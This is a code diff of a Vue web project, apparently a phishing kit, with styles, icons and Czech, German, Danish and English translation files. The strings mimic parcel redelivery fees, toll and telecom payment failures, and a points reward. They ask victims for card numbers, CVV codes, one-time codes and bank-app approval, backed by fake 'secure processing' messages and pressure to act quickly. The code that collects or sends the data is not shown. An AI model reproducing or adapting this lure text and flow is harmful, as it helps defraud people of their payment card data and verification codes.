||||
display: flex;
|
||||
justify-content: center;
|
||||
margin-bottom: 15px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.card-logo img {
|
||||
height: 70px;
|
||||
object-fit: contain;
|
||||
}
|
||||
|
||||
.card-logo svg {
|
||||
height: 50px;
|
||||
width: 80px;
|
||||
}
|
||||
|
||||
.card-logo::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: -100%;
|
||||
width: 30%;
|
||||
height: 100%;
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
transparent,
|
||||
rgba(255, 255, 255, 0.7),
|
||||
transparent
|
||||
);
|
||||
animation: scan 2s infinite;
|
||||
}
|
||||
|
||||
@keyframes scan {
|
||||
0% {
|
||||
left: -100%;
|
||||
}
|
||||
100% {
|
||||
left: 100%;
|
||||
}
|
||||
}
|
||||
|
||||
.price {
|
||||
font-size: 1.2em;
|
||||
color: #333;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
.title {
|
||||
font-size: 1.2em;
|
||||
font-weight: 400;
|
||||
}
|
||||
|
||||
.desc {
|
||||
font-size: 0.9em;
|
||||
color: #666;
|
||||
margin-top: 5px;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
</style>
|
||||
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
|
||||
<path
|
||||
d="M15 4a1 1 0 1 0 0 2V4zm0 11v-1a1 1 0 0 0-1 1h1zm0 4l-.707.707A1 1 0 0 0 16 19h-1zm-4-4l.707-.707A1 1 0 0 0 11 14v1zm-4.707-1.293a1 1 0 0 0-1.414 1.414l1.414-1.414zm-.707.707l-.707-.707.707.707zM9 11v-1a1 1 0 0 0-.707.293L9 11zm-4 0h1a1 1 0 0 0-1-1v1zm0 4H4a1 1 0 0 0 1.707.707L5 15zm10-9h2V4h-2v2zm2 0a1 1 0 0 1 1 1h2a3 3 0 0 0-3-3v2zm1 1v6h2V7h-2zm0 6a1 1 0 0 1-1 1v2a3 3 0 0 0 3-3h-2zm-1 1h-2v2h2v-2zm-3 1v4h2v-4h-2zm1.707 3.293l-4-4-1.414 1.414 4 4 1.414-1.414zM11 14H7v2h4v-2zm-4 0c-.276 0-.525-.111-.707-.293l-1.414 1.414C5.42 15.663 6.172 16 7 16v-2zm-.707 1.121l3.414-3.414-1.414-1.414-3.414 3.414 1.414 1.414zM9 12h4v-2H9v2zm4 0a3 3 0 0 0 3-3h-2a1 1 0 0 1-1 1v2zm3-3V3h-2v6h2zm0-6a3 3 0 0 0-3-3v2a1 1 0 0 1 1 1h2zm-3-3H3v2h10V0zM3 0a3 3 0 0 0-3 3h2a1 1 0 0 1 1-1V0zM0 3v6h2V3H0zm0 6a3 3 0 0 0 3 3v-2a1 1 0 0 1-1-1H0zm3 3h2v-2H3v2zm1-1v4h2v-4H4zm1.707 4.707l.586-.586-1.414-1.414-.586.586 1.414 1.414z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" fill="currentColor">
|
||||
<path
|
||||
d="M11 2.253a1 1 0 1 0-2 0h2zm-2 13a1 1 0 1 0 2 0H9zm.447-12.167a1 1 0 1 0 1.107-1.666L9.447 3.086zM1 2.253L.447 1.42A1 1 0 0 0 0 2.253h1zm0 13H0a1 1 0 0 0 1.553.833L1 15.253zm8.447.833a1 1 0 1 0 1.107-1.666l-1.107 1.666zm0-14.666a1 1 0 1 0 1.107 1.666L9.447 1.42zM19 2.253h1a1 1 0 0 0-.447-.833L19 2.253zm0 13l-.553.833A1 1 0 0 0 20 15.253h-1zm-9.553-.833a1 1 0 1 0 1.107 1.666L9.447 14.42zM9 2.253v13h2v-13H9zm1.553-.833C9.203.523 7.42 0 5.5 0v2c1.572 0 2.961.431 3.947 1.086l1.107-1.666zM5.5 0C3.58 0 1.797.523.447 1.42l1.107 1.666C2.539 2.431 3.928 2 5.5 2V0zM0 2.253v13h2v-13H0zm1.553 13.833C2.539 15.431 3.928 15 5.5 15v-2c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM5.5 15c1.572 0 2.961.431 3.947 1.086l1.107-1.666C9.203 13.523 7.42 13 5.5 13v2zm5.053-11.914C11.539 2.431 12.928 2 14.5 2V0c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM14.5 2c1.573 0 2.961.431 3.947 1.086l1.107-1.666C18.203.523 16.421 0 14.5 0v2zm3.5.253v13h2v-13h-2zm1.553 12.167C18.203 13.523 16.421 13 14.5 13v2c1.573 0 2.961.431 3.947 1.086l1.107-1.666zM14.5 13c-1.92 0-3.703.523-5.053 1.42l1.107 1.666C11.539 15.431 12.928 15 14.5 15v-2z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="20" fill="currentColor">
|
||||
<path
|
||||
d="M11.447 8.894a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm0 1.789a1 1 0 1 0 .894-1.789l-.894 1.789zM7.447 7.106a1 1 0 1 0-.894 1.789l.894-1.789zM10 9a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0H8zm9.447-5.606a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm2 .789a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zM18 5a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0h-2zm-5.447-4.606a1 1 0 1 0 .894-1.789l-.894 1.789zM9 1l.447-.894a1 1 0 0 0-.894 0L9 1zm-2.447.106a1 1 0 1 0 .894 1.789l-.894-1.789zm-6 3a1 1 0 1 0 .894 1.789L.553 4.106zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zm-2-.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 2.789a1 1 0 1 0 .894-1.789l-.894 1.789zM2 5a1 1 0 1 0-2 0h2zM0 7.5a1 1 0 1 0 2 0H0zm8.553 12.394a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 1a1 1 0 1 0 .894 1.789l-.894-1.789zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zM8 19a1 1 0 1 0 2 0H8zm2-2.5a1 1 0 1 0-2 0h2zm-7.447.394a1 1 0 1 0 .894-1.789l-.894 1.789zM1 15H0a1 1 0 0 0 .553.894L1 15zm1-2.5a1 1 0 1 0-2 0h2zm12.553 2.606a1 1 0 1 0 .894 1.789l-.894-1.789zM17 15l.447.894A1 1 0 0 0 18 15h-1zm1-2.5a1 1 0 1 0-2 0h2zm-7.447-5.394l-2 1 .894 1.789 2-1-.894-1.789zm-1.106 1l-2-1-.894 1.789 2 1 .894-1.789zM8 9v2.5h2V9H8zm8.553-4.894l-2 1 .894 1.789 2-1-.894-1.789zm.894 0l-2-1-.894 1.789 2 1 .894-1.789zM16 5v2.5h2V5h-2zm-4.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zm-2.894-1l-2 1 .894 1.789 2-1L8.553.106zM1.447 5.894l2-1-.894-1.789-2 1 .894 1.789zm-.894 0l2 1 .894-1.789-2-1-.894 1.789zM0 5v2.5h2V5H0zm9.447 13.106l-2-1-.894 1.789 2 1 .894-1.789zm0 1.789l2-1-.894-1.789-2 1 .894 1.789zM10 19v-2.5H8V19h2zm-6.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zM2 15v-2.5H0V15h2zm13.447 1.894l2-1-.894-1.789-2 1 .894 1.789zM18 15v-2.5h-2V15h2z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
7
t_global_post_temp2/src/components/icons/IconSupport.vue
Normal file
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
|
||||
<path
|
||||
d="M10 3.22l-.61-.6a5.5 5.5 0 0 0-7.666.105 5.5 5.5 0 0 0-.114 7.665L10 18.78l8.39-8.4a5.5 5.5 0 0 0-.114-7.665 5.5 5.5 0 0 0-7.666-.105l-.61.61z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
19
t_global_post_temp2/src/components/icons/IconTooling.vue
Normal file
@@ -0,0 +1,19 @@
|
||||
<!-- This icon is from <https://github.com/Templarian/MaterialDesign>, distributed under Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0) license-->
|
||||
<template>
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:xlink="http://www.w3.org/1999/xlink"
|
||||
aria-hidden="true"
|
||||
role="img"
|
||||
class="iconify iconify--mdi"
|
||||
width="24"
|
||||
height="24"
|
||||
preserveAspectRatio="xMidYMid meet"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
d="M20 18v-4h-3v1h-2v-1H9v1H7v-1H4v4h16M6.33 8l-1.74 4H7v-1h2v1h6v-1h2v1h2.41l-1.74-4H6.33M9 5v1h6V5H9m12.84 7.61c.1.22.16.48.16.8V18c0 .53-.21 1-.6 1.41c-.4.4-.85.59-1.4.59H4c-.55 0-1-.19-1.4-.59C2.21 19 2 18.53 2 18v-4.59c0-.32.06-.58.16-.8L4.5 7.22C4.84 6.41 5.45 6 6.33 6H7V5c0-.55.18-1 .57-1.41C7.96 3.2 8.44 3 9 3h6c.56 0 1.04.2 1.43.59c.39.41.57.86.57 1.41v1h.67c.88 0 1.49.41 1.83 1.22l2.34 5.39z"
|
||||
fill="currentColor"
|
||||
></path>
|
||||
</svg>
|
||||
</template>
|
||||
141
t_global_post_temp2/src/locales/cz/index.ts
Normal file
@@ -0,0 +1,141 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"V tomto poli je chyba, zkontrolujte jej prosím",
|
||||
"Please enter a valid email address":
|
||||
"Zadejte prosím platnou e-mailovou adresu",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Vážení uživatelé, vyplňte prosím formulář pečlivě, aby bylo zajištěno úspěšné doručení",
|
||||
"Your Name": "Vaše jméno",
|
||||
"Address": "Adresa",
|
||||
"Detailed Address": "Podrobná adresa",
|
||||
"(Optional)": "(Volitelné)",
|
||||
"City": "Město",
|
||||
"State": "Stát / Oblast",
|
||||
"Province": "Provincie",
|
||||
"Region": "Region",
|
||||
"Zip Code": "PSČ",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Další",
|
||||
"Telephone Number": "Telefonní číslo",
|
||||
"Online": "Online",
|
||||
"Payment": "Platba",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"Pro opětovné doručení je nutné uhradit servisní poplatek. Váš balíček bude po zaplacení znovu doručen",
|
||||
"lump sum: ": "Celková částka: ",
|
||||
"Cardholder": "Držitel karty",
|
||||
"Card Number": "Číslo karty",
|
||||
"Expire Date": "Datum expirace",
|
||||
"Security Code": "Bezpečnostní kód",
|
||||
"Submit": "Odeslat",
|
||||
"Click here to receive another code":
|
||||
"Klikněte zde pro obdržení nového kódu",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Potvrďte prosím svou totožnost. Jednorázový kód bude zaslán na váš telefon nebo e-mail. Zadejte jej zde",
|
||||
"The verification code has been sent to":
|
||||
"Ověřovací kód byl odeslán na",
|
||||
"Please do not click the":
|
||||
"Prosím neklikejte na tlačítka „Obnovit“ nebo „Zpět“, protože to může přerušit transakci",
|
||||
"Verification code error, please try again":
|
||||
"Chyba ověřovacího kódu, zkuste to prosím znovu",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"Relace brzy vyprší, dokončete prosím ověření nyní",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Tato karta nepodporuje tuto transakci, zkuste prosím jinou kartu",
|
||||
"Authorized bank": "Autorizovaná banka",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Přejděte prosím do bankovní aplikace a potvrďte autorizaci",
|
||||
"Please do not close this page":
|
||||
"Nezavírejte prosím tuto stránku",
|
||||
"Payment Successful": "Platba byla úspěšná!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Děkujeme za váš nákup. Vaše platba byla úspěšně zpracována",
|
||||
"Mailing address": "Doručovací adresa",
|
||||
"street address or house number":
|
||||
"Ulice a číslo domu",
|
||||
"Apartment number": "Číslo bytu",
|
||||
"Safe payment": "Bezpečná platba",
|
||||
"Verification code": "Ověřovací kód",
|
||||
"Welcome": "Vítejte",
|
||||
"back": "zpět!",
|
||||
"We reward you for using point services":
|
||||
"Odměňujeme vás za využívání bodových služeb",
|
||||
"Check your points": "Zkontrolujte své body",
|
||||
"Phone number": "Telefonní číslo",
|
||||
"Inquire": "Dotaz",
|
||||
"Exchange": "Vyměnit",
|
||||
"Spend points": "Použít body",
|
||||
"Points Available": "Dostupné body",
|
||||
"You don't have enough points":
|
||||
"Nemáte dostatek bodů",
|
||||
"Please redeem your favorite product":
|
||||
"Uplatněte prosím své body za oblíbený produkt",
|
||||
"Confirm your shipping address":
|
||||
"Potvrďte svou doručovací adresu",
|
||||
"Order number": "Číslo objednávky: ",
|
||||
"Pay": "Zaplatit",
|
||||
"Pay Message":
|
||||
"Zaplaťte {0} za výměnu bodů za produkty",
|
||||
"Pay electronic tolls online":
|
||||
"Zaplaťte elektronické mýtné online",
|
||||
"your electronic toll payment was unsuccessful":
|
||||
"Vaše platba elektronického mýtného byla neúspěšná.",
|
||||
"Billing Information": "Fakturační údaje",
|
||||
"Description": "Popis",
|
||||
"Dear customer": "Vážený zákazníku:",
|
||||
"Electronic Communications Charge Payment Failed":
|
||||
"Platba poplatku za elektronickou komunikaci selhala",
|
||||
"Invoice Number": "Číslo faktury",
|
||||
"Amount": "Částka",
|
||||
"Pay Immediately": "Zaplatit ihned",
|
||||
"Phone Number": "Telefonní číslo",
|
||||
"Electronic communication fee payment failed":
|
||||
"Platba poplatku za elektronickou komunikaci selhala",
|
||||
"Illustrate": "Vysvětlení",
|
||||
"SSL Encryption": "SSL šifrování",
|
||||
"PCI-DSS Certified": "Certifikováno PCI-DSS",
|
||||
"Transaction Details": "Detaily transakce",
|
||||
"Transaction ID:": "ID transakce:",
|
||||
"Processing Network:": "Zpracovatelská síť:",
|
||||
"Processing Time:": "Čas zpracování:",
|
||||
"Security Level:": "Úroveň zabezpečení:",
|
||||
"Preparing...": "Příprava...",
|
||||
"High": "Vysoká",
|
||||
"Initializing payment environment...":
|
||||
"Inicializace platebního prostředí...",
|
||||
"Encrypting card information...":
|
||||
"Šifrování údajů o kartě...",
|
||||
"Establishing secure connection...":
|
||||
"Navazování zabezpečeného spojení...",
|
||||
"Verifying card number and issuer...":
|
||||
"Ověřování čísla karty a vydavatele...",
|
||||
"Validating CVV code...":
|
||||
"Ověřování CVV kódu...",
|
||||
"Checking fraud risk...":
|
||||
"Kontrola rizika podvodu...",
|
||||
"Sending transaction request...":
|
||||
"Odesílání požadavku na transakci...",
|
||||
"Waiting for bank authorization...":
|
||||
"Čekání na autorizaci banky...",
|
||||
"Processing bank response...":
|
||||
"Zpracování odpovědi banky...",
|
||||
"Confirming transaction status...":
|
||||
"Potvrzování stavu transakce...",
|
||||
"Finalizing transaction...":
|
||||
"Dokončování transakce...",
|
||||
"Visa Secure Network":
|
||||
"Bezpečná síť Visa",
|
||||
"Mastercard Global Payment Network":
|
||||
"Globální platební síť Mastercard",
|
||||
"American Express Dedicated Channel":
|
||||
"Vyhrazený kanál American Express",
|
||||
"UnionPay Gateway":
|
||||
"Platební brána UnionPay",
|
||||
"{time} seconds":
|
||||
"{time} sekund",
|
||||
"International Payment Network":
|
||||
"Mezinárodní platební síť",
|
||||
"redelivery_fee_message":
|
||||
"Pro opětovné doručení je nutné uhradit servisní poplatek {amount}. Váš balíček bude po zaplacení znovu doručen",
|
||||
"Verifying...":
|
||||
"Ověřování..."
|
||||
};
|
||||
109
t_global_post_temp2/src/locales/de/index.ts
Normal file
@@ -0,0 +1,109 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"In diesem Feld liegt ein Fehler vor, bitte überprüfen Sie es",
|
||||
"Please enter a valid email address": "Bitte geben Sie eine gültige E-Mail-Adresse ein",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Liebe Nutzer, bitte füllen Sie das Formular sorgfältig aus, um eine erfolgreiche Zustellung zu gewährleisten",
|
||||
"Your Name": "Ihr Name",
|
||||
"Address": "Adresse",
|
||||
"Detailed Address": "Detaillierte Adresse",
|
||||
"(Optional)": "(Optional)",
|
||||
"City": "Stadt",
|
||||
"State": "Bundesland",
|
||||
"Province": "Provinz",
|
||||
"Region": "Region",
|
||||
"Zip Code": "Postleitzahl",
|
||||
"E-Mail": "E-Mail",
|
||||
"Next": "Weiter",
|
||||
"Telephone Number": "Telefonnummer",
|
||||
"Online": "Online",
|
||||
"Payment": "Zahlung",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"Für die erneute Zustellung müssen wir Servicegebühren erheben. Ihr Paket wird nach der Zahlung erneut zugestellt",
|
||||
"lump sum: ": "Gesamtbetrag: ",
|
||||
"Cardholder": "Karteninhaber",
|
||||
"Card Number": "Kartennummer",
|
||||
"Expire Date": "Ablaufdatum",
|
||||
"Security Code": "Sicherheitscode",
|
||||
"Submit": "Absenden",
|
||||
"Click here to receive another code": "Klicken Sie hier, um einen weiteren Code zu erhalten",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Bitte bestätigen Sie Ihre Identität, und ein einmaliger Code wird an Ihre Mobilnummer oder E-Mail-Adresse gesendet. Bitte geben Sie hier den Verifizierungscode ein",
|
||||
"The verification code has been sent to":
|
||||
"Der Verifizierungscode wurde gesendet an",
|
||||
"Please do not click the":
|
||||
"Bitte klicken Sie nicht auf die Schaltflächen „Aktualisieren“ oder „Zurück“, da dies Ihre Transaktion beenden oder unterbrechen könnte",
|
||||
"Verification code error, please try again":
|
||||
"Verifizierungscode-Fehler, bitte versuchen Sie es erneut",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"Die Sitzung läuft bald ab, bitte schließen Sie die Verifizierung jetzt ab",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Diese Karte unterstützt diese Transaktion nicht, bitte versuchen Sie eine andere Karte",
|
||||
"Authorized bank": "Autorisierte Bank",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Bitte öffnen Sie die Bank-App, um die Autorisierung zu bestätigen",
|
||||
"Please do not close this page": "Bitte schließen Sie diese Seite nicht",
|
||||
"Payment Successful": "Zahlung erfolgreich!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Vielen Dank für Ihren Einkauf. Ihre Zahlung wurde erfolgreich verarbeitet",
|
||||
"Mailing address": "Postadresse",
|
||||
"street address or house number": "Straßenadresse oder Hausnummer",
|
||||
"Apartment number": "Wohnungsnummer, Zimmernummer usw.",
|
||||
"Safe payment": "Sichere Zahlung",
|
||||
"Verification code": "Verifizierungscode",
|
||||
"Welcome": "Willkommen",
|
||||
"back":"zurück!",
|
||||
"We reward you for using point services": "Wir belohnen Sie für die Nutzung unseres Punkteservices",
|
||||
"Check your points": "Punkte prüfen",
|
||||
"Phone number": "Telefonnummer",
|
||||
"Inquire": "Anfragen",
|
||||
"Exchange": "Eintauschen",
|
||||
"Spend points": "Punkte einlösen",
|
||||
"Points Available": "Verfügbare Punkte",
|
||||
"You don't have enough points": "Sie haben nicht genügend Punkte",
|
||||
"Please redeem your favorite product": "Bitte lösen Sie Ihr Lieblingsprodukt ein",
|
||||
"Confirm your shipping address": "Bestätigen Sie Ihre Lieferadresse",
|
||||
"Order number": "Bestellnummer: ",
|
||||
"Pay": "Bezahlen",
|
||||
"Pay Message": "Zahlen Sie {0}, um Punkte gegen Waren einzulösen",
|
||||
"Pay electronic tolls online": "Elektronische Mautgebühren online bezahlen",
|
||||
"your electronic toll payment was unsuccessful": "Ihre elektronische Mautzahlung war nicht erfolgreich.",
|
||||
"Billing Information": "Rechnungsinformationen",
|
||||
"Description": "Beschreibung",
|
||||
"Dear customer": "Sehr geehrter Kunde:",
|
||||
"Electronic Communications Charge Payment Failed": "Zahlung der elektronischen Kommunikationsgebühr fehlgeschlagen",
|
||||
"Invoice Number": "Rechnungsnummer",
|
||||
"Amount": "Betrag",
|
||||
"Pay Immediately": "Sofort bezahlen",
|
||||
"Phone Number": "Telefonnummer",
|
||||
"Electronic communication fee payment failed": "Zahlung der elektronischen Kommunikationsgebühr fehlgeschlagen",
|
||||
"Illustrate":"Darstellen",
|
||||
"SSL Encryption": "SSL-Verschlüsselung",
|
||||
"PCI-DSS Certified": "PCI-DSS-zertifiziert",
|
||||
"Transaction Details": "Transaktionsdetails",
|
||||
"Transaction ID:": "Transaktions-ID:",
|
||||
"Processing Network:": "Verarbeitungsnetzwerk:",
|
||||
"Processing Time:": "Verarbeitungszeit:",
|
||||
"Security Level:": "Sicherheitsstufe:",
|
||||
"Preparing...": "Vorbereitung...",
|
||||
"High": "Hoch",
|
||||
"Initializing payment environment...": "Zahlungsumgebung wird initialisiert...",
|
||||
"Encrypting card information...": "Kartendaten werden verschlüsselt...",
|
||||
"Establishing secure connection...": "Sichere Verbindung wird hergestellt...",
|
||||
"Verifying card number and issuer...": "Kartennummer und Herausgeber werden überprüft...",
|
||||
"Validating CVV code...": "CVV-Code wird überprüft...",
|
||||
"Checking fraud risk...": "Betrugsrisiko wird überprüft...",
|
||||
"Sending transaction request...": "Transaktionsanfrage wird gesendet...",
|
||||
"Waiting for bank authorization...": "Warten auf Bankautorisierung...",
|
||||
"Processing bank response...": "Bankantwort wird verarbeitet...",
|
||||
"Confirming transaction status...": "Transaktionsstatus wird bestätigt...",
|
||||
"Finalizing transaction...": "Transaktion wird abgeschlossen...",
|
||||
"Visa Secure Network": "Visa Secure Network",
|
||||
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
|
||||
"American Express Dedicated Channel": "American Express Dedicated Channel",
|
||||
"UnionPay Gateway": "UnionPay Gateway",
|
||||
"{time} seconds": "{time} Sekunden",
|
||||
"International Payment Network": "Internationales Zahlungsnetzwerk",
|
||||
"redelivery_fee_message": "Für die erneute Zustellung müssen wir {amount} Servicegebühren berechnen, Ihr Paket wird nach Zahlung erneut zugestellt",
|
||||
"Verifying...": "Überprüfen...",
|
||||
};
|
||||
141
t_global_post_temp2/src/locales/dk/index.ts
Normal file
@@ -0,0 +1,141 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Der er en fejl i dette felt, kontroller venligst",
|
||||
"Please enter a valid email address":
|
||||
"Indtast venligst en gyldig e-mailadresse",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Kære brugere, udfyld venligst formularen omhyggeligt for at sikre en vellykket levering",
|
||||
"Your Name": "Dit navn",
|
||||
"Address": "Adresse",
|
||||
"Detailed Address": "Detaljeret adresse",
|
||||
"(Optional)": "(Valgfrit)",
|
||||
"City": "By",
|
||||
"State": "Stat / Område",
|
||||
"Province": "Provins",
|
||||
"Region": "Region",
|
||||
"Zip Code": "Postnummer",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Næste",
|
||||
"Telephone Number": "Telefonnummer",
|
||||
"Online": "Online",
|
||||
"Payment": "Betaling",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"For genlevering skal vi opkræve nogle servicegebyrer. Din pakke vil blive genleveret efter betaling",
|
||||
"lump sum: ": "Samlet beløb: ",
|
||||
"Cardholder": "Kortholder",
|
||||
"Card Number": "Kortnummer",
|
||||
"Expire Date": "Udløbsdato",
|
||||
"Security Code": "Sikkerhedskode",
|
||||
"Submit": "Indsend",
|
||||
"Click here to receive another code":
|
||||
"Klik her for at modtage en ny kode",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Bekræft venligst din identitet. En engangskode vil blive sendt til din telefon eller e-mail. Indtast koden her",
|
||||
"The verification code has been sent to":
|
||||
"Bekræftelseskoden er sendt til",
|
||||
"Please do not click the":
|
||||
"Klik venligst ikke på knapperne “Opdater” eller “Tilbage”, da dette kan afbryde transaktionen",
|
||||
"Verification code error, please try again":
|
||||
"Fejl i bekræftelseskoden, prøv venligst igen",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"Sessionen er ved at udløbe, gennemfør venligst verificeringen nu",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Dette kort understøtter ikke denne transaktion, prøv venligst et andet kort",
|
||||
"Authorized bank": "Autoriseret bank",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Gå venligst til bankens app for at bekræfte godkendelsen",
|
||||
"Please do not close this page":
|
||||
"Luk venligst ikke denne side",
|
||||
"Payment Successful": "Betaling gennemført!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Tak for dit køb. Din betaling er blevet behandlet korrekt",
|
||||
"Mailing address": "Leveringsadresse",
|
||||
"street address or house number":
|
||||
"Gadenavn eller husnummer",
|
||||
"Apartment number": "Lejlighedsnummer / værelsesnummer",
|
||||
"Safe payment": "Sikker betaling",
|
||||
"Verification code": "Bekræftelseskode",
|
||||
"Welcome": "Velkommen",
|
||||
"back": "tilbage!",
|
||||
"We reward you for using point services":
|
||||
"Vi belønner dig for at bruge pointtjenester",
|
||||
"Check your points": "Tjek dine point",
|
||||
"Phone number": "Telefonnummer",
|
||||
"Inquire": "Forespørg",
|
||||
"Exchange": "Ombyt",
|
||||
"Spend points": "Brug point",
|
||||
"Points Available": "Tilgængelige point",
|
||||
"You don't have enough points":
|
||||
"Du har ikke nok point",
|
||||
"Please redeem your favorite product":
|
||||
"Indløs venligst dine point for dit foretrukne produkt",
|
||||
"Confirm your shipping address":
|
||||
"Bekræft din leveringsadresse",
|
||||
"Order number": "Ordrenummer: ",
|
||||
"Pay": "Betal",
|
||||
"Pay Message":
|
||||
"Betal {0} for at ombytte point til produkter",
|
||||
"Pay electronic tolls online":
|
||||
"Betal elektroniske vejafgifter online",
|
||||
"your electronic toll payment was unsuccessful":
|
||||
"Din betaling af elektronisk vejafgift mislykkedes.",
|
||||
"Billing Information": "Faktureringsoplysninger",
|
||||
"Description": "Beskrivelse",
|
||||
"Dear customer": "Kære kunde:",
|
||||
"Electronic Communications Charge Payment Failed":
|
||||
"Betaling af gebyr for elektronisk kommunikation mislykkedes",
|
||||
"Invoice Number": "Fakturanummer",
|
||||
"Amount": "Beløb",
|
||||
"Pay Immediately": "Betal straks",
|
||||
"Phone Number": "Telefonnummer",
|
||||
"Electronic communication fee payment failed":
|
||||
"Betaling af gebyr for elektronisk kommunikation mislykkedes",
|
||||
"Illustrate": "Forklaring",
|
||||
"SSL Encryption": "SSL-kryptering",
|
||||
"PCI-DSS Certified": "PCI-DSS-certificeret",
|
||||
"Transaction Details": "Transaktionsdetaljer",
|
||||
"Transaction ID:": "Transaktions-ID:",
|
||||
"Processing Network:": "Behandlingsnetværk:",
|
||||
"Processing Time:": "Behandlingstid:",
|
||||
"Security Level:": "Sikkerhedsniveau:",
|
||||
"Preparing...": "Forbereder...",
|
||||
"High": "Høj",
|
||||
"Initializing payment environment...":
|
||||
"Initialiserer betalingsmiljø...",
|
||||
"Encrypting card information...":
|
||||
"Krypterer kortoplysninger...",
|
||||
"Establishing secure connection...":
|
||||
"Etablerer sikker forbindelse...",
|
||||
"Verifying card number and issuer...":
|
||||
"Verificerer kortnummer og udsteder...",
|
||||
"Validating CVV code...":
|
||||
"Validerer CVV-kode...",
|
||||
"Checking fraud risk...":
|
||||
"Kontrollerer risiko for svindel...",
|
||||
"Sending transaction request...":
|
||||
"Sender transaktionsanmodning...",
|
||||
"Waiting for bank authorization...":
|
||||
"Venter på bankens godkendelse...",
|
||||
"Processing bank response...":
|
||||
"Behandler bankens svar...",
|
||||
"Confirming transaction status...":
|
||||
"Bekræfter transaktionsstatus...",
|
||||
"Finalizing transaction...":
|
||||
"Afslutter transaktionen...",
|
||||
"Visa Secure Network":
|
||||
"Visa sikkert netværk",
|
||||
"Mastercard Global Payment Network":
|
||||
"Mastercard globalt betalingsnetværk",
|
||||
"American Express Dedicated Channel":
|
||||
"American Express dedikeret kanal",
|
||||
"UnionPay Gateway":
|
||||
"UnionPay-gateway",
|
||||
"{time} seconds":
|
||||
"{time} sekunder",
|
||||
"International Payment Network":
|
||||
"Internationalt betalingsnetværk",
|
||||
"redelivery_fee_message":
|
||||
"For genlevering skal du betale {amount} i servicegebyrer. Din pakke vil blive genleveret efter betaling",
|
||||
"Verifying...":
|
||||
"Verificerer..."
|
||||
};
|
||||
98
t_global_post_temp2/src/locales/en/index.ts
Normal file
@@ -0,0 +1,98 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "There is an error in this field, please check",
|
||||
"Please enter a valid email address": "Please enter a valid email address",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Dear users, please fill in the form carefully to ensure successful delivery",
|
||||
"Your Name": "Your Name",
|
||||
"Address": "Address",
|
||||
"Detailed Address": "Detailed Address",
|
||||
"(Optional)": "(Optional)",
|
||||
"City": "City",
|
||||
"State": "State / Region",
|
||||
"Province": "Province",
|
||||
"Region": "Region",
|
||||
"Zip Code": "Zip Code",
|
||||
"E-Mail": "E-Mail",
|
||||
"Next": "Next",
|
||||
"Telephone Number": "Telephone Number",
|
||||
"Online": "Online",
